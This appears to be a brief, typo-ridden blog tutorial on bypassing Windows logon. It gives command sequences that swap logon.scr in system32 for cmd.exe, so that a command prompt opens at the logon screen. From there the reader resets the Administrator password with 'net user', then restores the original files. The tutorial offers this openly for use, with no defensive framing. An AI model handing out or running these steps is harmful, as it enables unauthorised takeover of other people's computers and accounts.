A simple command promt windows password hack
cmd.exe or command prompt is the command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008).At operating system starting a series of commonds and some applications will be invoked by it. logon.scr is the one of them . so here we take this as advantages.
To perform this hack you need to know how to open command promt and some basic commonds.
To open command promt you have to click on start ,then you see a text box called run at right bottom of the start menu.Then enter cmd commond , a black notepad [:)]will open. now enter the below commands and press enter on your keyboard.
1 2 3 4 5 6 7 8 9 10 | cd.. cd.. cd WINDOWS cd system32 mkdir temphack copy logon.scr temphack\logon.scr copy cmd.exe temphack\cmd.exe del logon.scr rename cmd.exe logon.scr exit |
After restart the system,then you will see again commond promt at logon , then follow below steps
first enter net user commond ,it will show all the user account to system , Administrator is the common user account for windows.
after you decide with your newpassword what ever you decide.
1 | net user Administrator newpassword |
Now password is changed to newpassword you given.
Again restore the old logon.scr and cmd.exe files to original folder system32 with following commands
1 2 3 4 5 6 7 8 | cd.. cd.. cd WINDOWS cd system32 del logon.scr copy temphack\logon.scr logon.scr copy temphack\cmd.exe cmd.exe exit |
After copying original files ,again restart the system and enter with new passowrd have fun.
